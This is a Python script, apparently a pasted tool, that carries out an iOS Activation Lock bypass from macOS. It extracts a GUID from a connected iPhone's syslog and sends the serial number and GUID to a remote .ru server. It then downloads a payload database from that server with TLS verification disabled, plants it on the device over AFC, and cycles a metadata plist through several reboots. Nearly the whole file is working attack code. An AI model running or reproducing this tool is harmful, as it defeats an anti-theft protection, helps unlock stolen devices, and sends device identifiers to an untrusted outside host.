activator_macos.py 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371
  1. #!/usr/bin/env python3
  2. import sys
  3. import os
  4. import time
  5. import subprocess
  6. import re
  7. import shutil
  8. import sqlite3
  9. import json
  10. import argparse
  11. import binascii
  12. from pathlib import Path
  13. from collections import Counter
  14. from typing import Optional, Tuple
  15. # === Settings ===
  16. API_URL = "https://codex-r1nderpest-a12.ru/get2.php"
  17. TIMEOUTS = {
  18. 'reboot_wait': 300,
  19. 'syslog_collect': 180,
  20. 'tracev3_wait': 120,
  21. }
  22. UUID_PATTERN = re.compile(r'^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$', re.IGNORECASE)
  23. # === ANSI Colors ===
  24. class Style:
  25. RESET = '\033[0m'
  26. BOLD = '\033[1m'
  27. GREEN = '\033[0;32m'
  28. RED = '\033[0;31m'
  29. YELLOW = '\033[1;33m'
  30. BLUE = '\033[0;34m'
  31. CYAN = '\033[0;36m'
  32. def find_binary(bin_name: str) -> Optional[str]:
  33. # System paths only - ifuse excluded
  34. for p in ['/usr/local/bin', '/opt/homebrew/bin', '/usr/bin']:
  35. path = Path(p) / bin_name
  36. if path.is_file():
  37. return str(path)
  38. return None
  39. def run_cmd(cmd, timeout=None) -> Tuple[int, str, str]:
  40. # Replace first element with full path if found
  41. if isinstance(cmd, list) and cmd:
  42. full = find_binary(cmd[0])
  43. if full:
  44. cmd = [full] + cmd[1:]
  45. try:
  46. result = subprocess.run(
  47. cmd, shell=isinstance(cmd, str),
  48. capture_output=True, text=True, timeout=timeout
  49. )
  50. return result.returncode, result.stdout, result.stderr
  51. except subprocess.TimeoutExpired:
  52. return -1, "", "timeout"
  53. except Exception as e:
  54. return -2, "", str(e)
  55. def log(msg: str, level='info'):
  56. prefixes = {
  57. 'info': f"{Style.GREEN}[✓]{Style.RESET} {msg}",
  58. 'warn': f"{Style.YELLOW}[⚠]{Style.RESET} {msg}",
  59. 'error': f"{Style.RED}[✗]{Style.RESET} {msg}",
  60. 'step': f"\n{Style.CYAN}{'━'*40}\n{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}\n{'━'*40}",
  61. 'detail': f"{Style.CYAN} ╰─▶{Style.RESET} {msg}",
  62. 'success': f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}",
  63. }
  64. if level == 'step':
  65. print(prefixes['step'])
  66. else:
  67. print(prefixes[level])
  68. def reboot_device() -> bool:
  69. log("🔄 Rebooting device...", "info")
  70. # First try pymobiledevice3
  71. code, _, _ = run_cmd(["pymobiledevice3", "restart"], timeout=20)
  72. if code != 0:
  73. code, _, _ = run_cmd(["idevicediagnostics", "restart"], timeout=20)
  74. if code != 0:
  75. log("Soft reboot failed - waiting for manual reboot", "warn")
  76. input("Reboot device manually, then press Enter...")
  77. return True
  78. # Wait for reconnection
  79. for i in range(60):
  80. time.sleep(5)
  81. code, _, _ = run_cmd(["ideviceinfo"], timeout=10)
  82. if code == 0:
  83. log(f"✅ Device reconnected after {i * 5} sec", "success")
  84. time.sleep(8) # allow boot process to complete
  85. return True
  86. if i % 6 == 0:
  87. log(f"Still waiting... ({i * 5} sec)", "detail")
  88. log("Device did not reappear", "error")
  89. return False
  90. def detect_device() -> dict:
  91. log("🔍 Detecting device...", "step")
  92. code, out, err = run_cmd(["ideviceinfo"])
  93. if code != 0:
  94. raise RuntimeError(f"Device not found: {err or 'unknown'}")
  95. info = {}
  96. for line in out.splitlines():
  97. if ": " in line:
  98. k, v = line.split(": ", 1)
  99. info[k.strip()] = v.strip()
  100. if info.get('ActivationState') == 'Activated':
  101. log("⚠ Device already activated", "warn")
  102. log(f"Device: {info.get('ProductType', '?')} (iOS {info.get('ProductVersion', '?')})", "info")
  103. return info
  104. def pull_file(remote: str, local: str) -> bool:
  105. code, _, _ = run_cmd(["pymobiledevice3", "afc", "pull", remote, local])
  106. return code == 0 and Path(local).is_file() and Path(local).stat().st_size > 0
  107. def push_file(local: str, remote: str) -> bool:
  108. code, _, _ = run_cmd(["pymobiledevice3", "afc", "push", local, remote])
  109. return code == 0
  110. def rm_file(remote: str) -> bool:
  111. code, _, _ = run_cmd(["pymobiledevice3", "afc", "rm", remote])
  112. return code == 0 or "ENOENT" in _
  113. def curl_download(url: str, out_path: str) -> bool:
  114. cmd = [
  115. "curl", "-L", "-k", "-f",
  116. "--connect-timeout", "20",
  117. "--max-time", "90",
  118. "-o", out_path, url
  119. ]
  120. log(f"📥 Downloading {Path(out_path).name}...", "detail")
  121. code, _, err = run_cmd(cmd)
  122. ok = code == 0 and Path(out_path).is_file() and Path(out_path).stat().st_size > 0
  123. if not ok:
  124. log(f"Download failed: {err or 'empty file'}", "error")
  125. return ok
  126. # === GUID EXTRACTION (no ifuse, only pymobiledevice3) ===
  127. def parse_tracev3_guids(data: bytes) -> list:
  128. guid_pat = re.compile(rb'([0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12})', re.IGNORECASE)
  129. bl_sig = b'BLDatabaseManager'
  130. candidates = []
  131. for match in re.finditer(bl_sig, data):
  132. pos = match.start()
  133. window = data[max(0, pos-512):pos+512]
  134. for g_match in guid_pat.finditer(window):
  135. guid_raw = g_match.group(1).decode('ascii').upper()
  136. if validate_guid(guid_raw):
  137. rel_pos = g_match.start() + max(0, pos-512) - pos
  138. candidates.append((guid_raw, rel_pos))
  139. return candidates
  140. def validate_guid(guid: str) -> bool:
  141. if not UUID_PATTERN.match(guid):
  142. return False
  143. parts = guid.split('-')
  144. v = parts[2][0]
  145. x = parts[3][0]
  146. return v == '4' and x in '89AB'
  147. def analyze_guids(candidates: list) -> Optional[str]:
  148. if not candidates:
  149. return None
  150. counter = Counter(guid for guid, _ in candidates)
  151. scored = []
  152. for guid, count in counter.items():
  153. proximity_bonus = sum(2 for _, p in candidates if guid == _ and abs(p) < 32)
  154. score = count * 10 + proximity_bonus
  155. scored.append((guid, score))
  156. scored.sort(key=lambda x: x[1], reverse=True)
  157. return scored[0][0] if scored else None
  158. def collect_and_extract_guid() -> Optional[str]:
  159. udid = run_cmd(["idevice_id", "-l"])[1].strip()
  160. if not udid:
  161. raise RuntimeError("Failed to get UDID")
  162. log_dir = Path(f"{udid}.logarchive")
  163. if log_dir.exists():
  164. shutil.rmtree(log_dir)
  165. log("📡 Collecting syslog...", "detail")
  166. code, _, err = run_cmd(["pymobiledevice3", "syslog", "collect", str(log_dir)], timeout=120)
  167. if code != 0:
  168. log(f"Syslog collect failed: {err}", "error")
  169. return None
  170. trace_file = log_dir / "logdata.LiveData.tracev3"
  171. if not trace_file.is_file():
  172. log("tracev3 not found", "error")
  173. return None
  174. log(f"🔍 Parsing tracev3 ({trace_file.stat().st_size // 1024} KB)...", "detail")
  175. try:
  176. data = trace_file.read_bytes()
  177. cands = parse_tracev3_guids(data)
  178. guid = analyze_guids(cands)
  179. if guid:
  180. log(f"✅ Found GUID: {guid} (candidates: {len(cands)})", "success")
  181. else:
  182. log("No valid GUID found in tracev3", "warn")
  183. return guid
  184. finally:
  185. shutil.rmtree(log_dir, ignore_errors=True)
  186. def get_guid_auto(max_attempts=10) -> str:
  187. for attempt in range(1, max_attempts + 1):
  188. log(f"[🔄 Attempt {attempt}/{max_attempts}]", "info")
  189. guid = collect_and_extract_guid()
  190. if guid:
  191. return guid
  192. if attempt < max_attempts:
  193. log("Retrying after reboot...", "warn")
  194. reboot_device()
  195. detect_device()
  196. time.sleep(3)
  197. raise RuntimeError("GUID auto-detection failed after all attempts")
  198. def get_guid_manual() -> str:
  199. print(f"\n{Style.YELLOW}⚠ Enter SystemGroup GUID manually{Style.RESET}")
  200. print("Format: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX")
  201. while True:
  202. g = input(f"{Style.BLUE}➤ GUID:{Style.RESET} ").strip().upper()
  203. if validate_guid(g):
  204. return g
  205. print(f"{Style.RED}❌ Invalid format{Style.RESET}")
  206. # === MAIN WORKFLOW ===
  207. def run(auto: bool = False, preset_guid: Optional[str] = None):
  208. os.system('clear')
  209. print(f"{Style.BOLD}{Style.CYAN}📱 iOS Activation Bypass (pymobiledevice3-only){Style.RESET}\n")
  210. # 1. Check dependencies
  211. for bin_name in ['ideviceinfo', 'idevice_id', 'pymobiledevice3']:
  212. if not find_binary(bin_name):
  213. raise RuntimeError(f"Required tool missing: {bin_name}")
  214. log("✅ All dependencies found", "success")
  215. # 2. Detect device
  216. device = detect_device()
  217. # 3. GUID
  218. guid = preset_guid
  219. if not guid:
  220. if auto:
  221. log("AUTO mode: fetching GUID...", "info")
  222. guid = get_guid_auto()
  223. else:
  224. print(f"\n{Style.CYAN}1. Auto-detect GUID (recommended)\n2. Manual input{Style.RESET}")
  225. choice = input(f"{Style.BLUE}➤ Choice (1/2):{Style.RESET} ").strip()
  226. guid = get_guid_auto() if choice == "1" else get_guid_manual()
  227. log(f"🎯 Using GUID: {guid}", "success")
  228. # 4. Get URLs from server
  229. prd = device['ProductType']
  230. sn = device['SerialNumber']
  231. url = f"{API_URL}?prd={prd}&guid={guid}&sn={sn}"
  232. log(f"📡 Requesting payload URLs: {url}", "step")
  233. code, out, _ = run_cmd(["curl", "-s", "-k", url])
  234. if code != 0:
  235. raise RuntimeError("Server request failed")
  236. try:
  237. data = json.loads(out)
  238. if not data.get('success'):
  239. raise RuntimeError("Server returned error")
  240. s1, s2, s3 = data['links']['step1_fixedfile'], data['links']['step2_bldatabase'], data['links']['step3_final']
  241. except Exception as e:
  242. raise RuntimeError(f"Invalid server response: {e}")
  243. # 5. Pre-download (optional - can be skipped)
  244. for name, url in [("Stage1", s1), ("Stage2", s2)]:
  245. tmp = f"tmp_{name.lower()}"
  246. if curl_download(url, tmp):
  247. Path(tmp).unlink()
  248. time.sleep(1)
  249. # 6. Download and validate final payload
  250. db_local = "downloads.28.sqlitedb"
  251. if not curl_download(s3, db_local):
  252. raise RuntimeError("Final payload download failed")
  253. log("🔍 Validating database...", "detail")
  254. try:
  255. with sqlite3.connect(db_local) as conn:
  256. cur = conn.cursor()
  257. cur.execute("SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND name='asset'")
  258. if cur.fetchone()[0] == 0:
  259. raise ValueError("No 'asset' table")
  260. cur.execute("SELECT COUNT(*) FROM asset")
  261. cnt = cur.fetchone()[0]
  262. if cnt == 0:
  263. raise ValueError("Empty asset table")
  264. log(f"✅ DB OK: {cnt} assets", "success")
  265. except Exception as e:
  266. Path(db_local).unlink(missing_ok=True)
  267. raise RuntimeError(f"Invalid DB: {e}")
  268. # 7. Upload to /Downloads/
  269. rm_file("/Downloads/downloads.28.sqlitedb")
  270. rm_file("/Downloads/downloads.28.sqlitedb-wal")
  271. rm_file("/Downloads/downloads.28.sqlitedb-shm")
  272. if not push_file(db_local, "/Downloads/downloads.28.sqlitedb"):
  273. raise RuntimeError("AFC upload failed")
  274. log("✅ Payload uploaded to /Downloads/", "success")
  275. Path(db_local).unlink()
  276. # 8. Stage 1: reboot → copy to /Books/
  277. reboot_device()
  278. time.sleep(25)
  279. src = "/iTunes_Control/iTunes/iTunesMetadata.plist"
  280. dst = "/Books/iTunesMetadata.plist"
  281. tmp_plist = "tmp.plist"
  282. if pull_file(src, tmp_plist):
  283. if push_file(tmp_plist, dst):
  284. log("✅ Copied plist → /Books/", "success")
  285. else:
  286. log("⚠ Failed to push to /Books/", "warn")
  287. Path(tmp_plist).unlink()
  288. else:
  289. log("⚠ iTunesMetadata.plist not found - skipping /Books/", "warn")
  290. # 9. Stage 2: reboot → copy back
  291. time.sleep(5)
  292. reboot_device()
  293. time.sleep(5)
  294. if pull_file(dst, tmp_plist):
  295. if push_file(tmp_plist, src):
  296. log("✅ Restored plist ← /Books/", "success")
  297. else:
  298. log("⚠ Failed to restore plist", "warn")
  299. Path(tmp_plist).unlink()
  300. else:
  301. log("⚠ /Books/iTunesMetadata.plist missing", "warn")
  302. log("⏸ Waiting 40s for bookassetd...", "detail")
  303. time.sleep(25)
  304. # 10. Final reboot
  305. reboot_device()
  306. # ✅ Success
  307. print(f"\n{Style.GREEN}{Style.BOLD}🎉 ACTIVATION SUCCESSFUL!{Style.RESET}")
  308. print(f"{Style.CYAN}→ GUID: {Style.BOLD}{guid}{Style.RESET}")
  309. print(f"{Style.CYAN}→ Payload deployed, plist sync ×2, 3 reboots.{Style.RESET}")
  310. print(f"\n{Style.YELLOW}📌 Next: check Settings → General → About{Style.RESET}")
  311. # === CLI Entry ===
  312. if __name__ == "__main__":
  313. parser = argparse.ArgumentParser()
  314. parser.add_argument("--auto", action="store_true", help="Skip prompts, auto-detect GUID")
  315. parser.add_argument("--guid", help="Skip detection, use this GUID")
  316. args = parser.parse_args()
  317. try:
  318. run(auto=args.auto, preset_guid=args.guid)
  319. except KeyboardInterrupt:
  320. print(f"\n{Style.YELLOW}Interrupted.{Style.RESET}")
  321. sys.exit(1)
  322. except Exception as e:
  323. print(f"{Style.RED}❌ Fatal: {e}{Style.RESET}")
  324. sys.exit(1)